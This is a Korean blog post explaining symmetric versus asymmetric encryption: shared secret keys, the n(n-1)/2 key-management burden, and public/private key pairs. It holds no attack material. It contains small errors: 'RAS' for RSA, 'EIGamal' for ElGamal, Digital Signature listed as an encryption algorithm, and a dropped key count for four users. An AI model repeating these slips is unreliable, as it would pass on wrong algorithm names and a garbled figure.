대칭키 암호 방식에서는 암호화에 사용되는 암호화키와 복호화에 사용되는 복호화키가 동일하다는 특징이 있다. 쉽게 아래 그림과 같이 A와 B가 서로 통신하는 상황에 대하여 알아보자. A는 자신이 가진 KEY 1로 평문을 암호문으로 암호화한다. 그리고 암호화된 내용을 B에게 전달하면, B는 A와 동일한 키(KEY 1)로 이를 평문으로 복호화한다. 쉽게 두 사람 모두 동일한 키를 가지고 있어야 한다. 만약 다른 키를 가지고 있을 경우에는 전혀 다른 내용으로 복호화가 진행될 것이다.

반대로 B가 A에게 보내는 경우에도 B가 자신의 키인 KEY 1로 암호화를 진행한 뒤, 암호문을 A에게 전송한다. A는 KEY 1로 복호화를 진행하여 올바른 평문을 얻을 수 있다.


[그림 1] 대칭키를 통한 A와 B의 통신

이러한 특징으로 인해 송신자와 수신자 이외에는 해당 키가 노출되지 않아야 한다. 만약 이 키가 노출될 경우 A, B가 아닌 제 3자가 암호문을 해독할 수 있게 된다. 이러한 의미에서 대칭키 암호화 방식은 '비밀키 암호(Secret-Key Cryptosystem)'이라고도 한다.

이 암호 방식은 알고리즘의 내부 구조가 간단한 치환과 조합으로 되어 있어 알고리즘을 쉽게 개발할 수 있고 컴퓨터 시스템에서 빠르게 동작한다. 이는 암호화 연산 속도를 보장해주어 효율적인 암호 시스템을 구축할 수 있도록 해준다.

하지만 위에서 언급하지 않은 문제점이 있다. 해당 통신 환경의 사용자가 더 많아지는 경우에는 각 키를 관리하기 어려워진다. 위의 예에서 두 사용자는 서로의 키를 공유하고 있어 원활한 통신이 이루어질 수 있었다. 사용자가 세 명인 경우에는 다음과 같은 그림으로 나타낼 수 있다.


[그림 2] 대칭키를 통한 A, B, C의 통신

전체적인 동작 과정은 그림 1에서와 같으며 단지 사용자가 세명으로 증가한 모습이다. 앞선 예에서는 A와 B가 통신하기 위해 키가 1개 필요하였다. 하지만 C가 추가된 시점에서 세 명 모두 하나의 키로만 통신을 할 경우 A와 B의 통신 내용을 C가 해독할 수 있게 된다. 반대로 B와 C가 통신하거나 A와 C가 통신한 경우에도 수신자와 송신자가 아닌 제 3자도 해당 키를 가지고 있기 때문에 해독이 된다. 이는 암호화의 의미가 흐려지는 상황이 되어버린다. 결국 각각의 암호화된 통신을 보장하기 위해서는 각각의 통신 경로 따른 키가 존재하여야 한다. 이 경우에는 키가 3개가 있어야 한다.

마지막으로 4명인 경우에 대하여 알아보자. 아래 그림과 같이 각각의 보장된 통신을 위해서는 총 개의 키가 존재하여야 한다. 결국 해당 환경에 존재하는 사용자의 수보다 많은 키가 존재하게 되는 것이다. 각 개인은 n-1개의 키를 관리해야하는 부담이 생기며, 주어진 환경에서의 키 개수는 n(n-1)/2이 된다. 이는 매우 큰 단점으로 작용한다.

[그림] 대칭키를 통한 A, B, C, D의 통신

이러한 단점에도 불구하고 빠른 속도와 효율성을 제공해주기 때문에 빠르게 처리해야 하거나 단순한 암호화 시스템에서는 아직도 사용되고 있다. 대표적인 암호 알고리즘은 다음과 같다.

DES (Data Encryption Standard)

AES (Advanced Encryption Standard)

SEED

HIGHT (High security and light weight)

 

비대칭키

비대칭키 암호화 방식은 공개키 암호라고도 한다. 이는 대칭키(비밀키) 암호와 달리 송신자와 수신자가 다른 키를 사용하여 암호화된 통신을 수행한다. 송신자는 수신자의 공개키에 해당하는 정보를 사용하여 데이터를 암호화하여 네트워크를 통해 전송한다. 수신자는 자신의 공개키에 해당하는 비밀키로 암호화된 데이터를 복호화하여 평문을 복원한다.

아래 그림과 같이 나타낼 수 있다. 각 개인은 서로 자신만의 고유한 두 가지 키를 갖는다. 하나는 공개키(그림에서의 P)이며, 다른 하나는 개인키(그림에서의 S)이다. 여기에 통신하고자 하는 대상의 공개키를 갖고 있어야 한다. 우선 A가 B에게 암호화된 메시지를 보내려는 경우 A는 자신이 보내고자 하는 내용을 B의 공개키로 암호화하여 전송한다. 자신의 공개키로 암호화된 내용을 받은 B는 자신의 개인키로 암호화된 내용을 복호화 한다.

반대로 B가 A에게 암호화된 메시지를 보내려 하는 경우 B는 A의 공개키로 암호화를 하여 전송한다. 자신의 공개키로 암호화된 내용을 받은 A는 이제 자신의 개인키로 암호화된 내용을 복호화 한다.


[그림] 비대칭키를 통한 A와 B의 통신

해당 환경에서 사용자의 수가 늘어난 경우를 살펴보자. 아래 그림은 총 3명의 사용자가 존재하고 있다. 이 경우 송신자는 수신자의 공개키(P)로 암호화를 진행한 뒤 암호문을 전송한다. 수신자의 입장에서는 자신의 공개키로 암호화가 되었으므로 자신이 가진 개인키(S)로 복호화를 진행할 수 있다. A가 B와 통신하고자 하는 경우 KEY B.P를 가지고 암호화를 진행 후 전송한다. B는 암호문을 자신의 B.S로 복호화를 진행한다.


[그림] 비대칭키를 통한 A, B, C의 통신

비대칭키 암호는 다른 유저와 키(개인키)를 공유하지 않고 공유키만을 공유하면 되기에 보다 안전한 통신이 가능해진다. 개인키만 안전하게 관리된다면 공개키에 대응되는 키를 가진 사람만이 복호화를 할 수 있는 특징을 지닌다. n명의 사용자로 구성된 네트워크를 고려하면 각 사용자는 공개키와 비밀키 두 개를 보유하고 있으므로 네트워크 전체적으로 2n개의 키가 요구된다. 그리고 각 유저는 2개의 키만 보유하고 있으면 된다.

수학적인 난제를 기반으로 설계되어 있고, 암호화나 복호화를 수행하기 위한 연산이 복잡하게 구성되어 있기 때문에 암호화에 대한 효율성은 대칭키에 비하여 높지 않다. 하지만 각 키 관리의 이점으로 인해 많은 곳에서 사용하고 있다. 대표적인 비대칭키 암호 알고리즘은다음과 같다.

RAS (Rivest, Shamir and Adleman)

EIGamal

ECC (Elliptic Curve Cryptosystem)

Digital Signature

 

참고

  • https://ko.wikipedia.org/wiki암호학
  • http://sostarzia.tistory.com/24
  • https://seed.kisa.or.kr/iwt/ko/intro/EgovCryptographic.do
  • https://seed.kisa.or.kr/iwt/ko/intro/EgovPublicKey.do


'Reversing > Theory' 카테고리의 다른 글

Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08
WFP 무력화  (0) 2016.06.21

Comment +2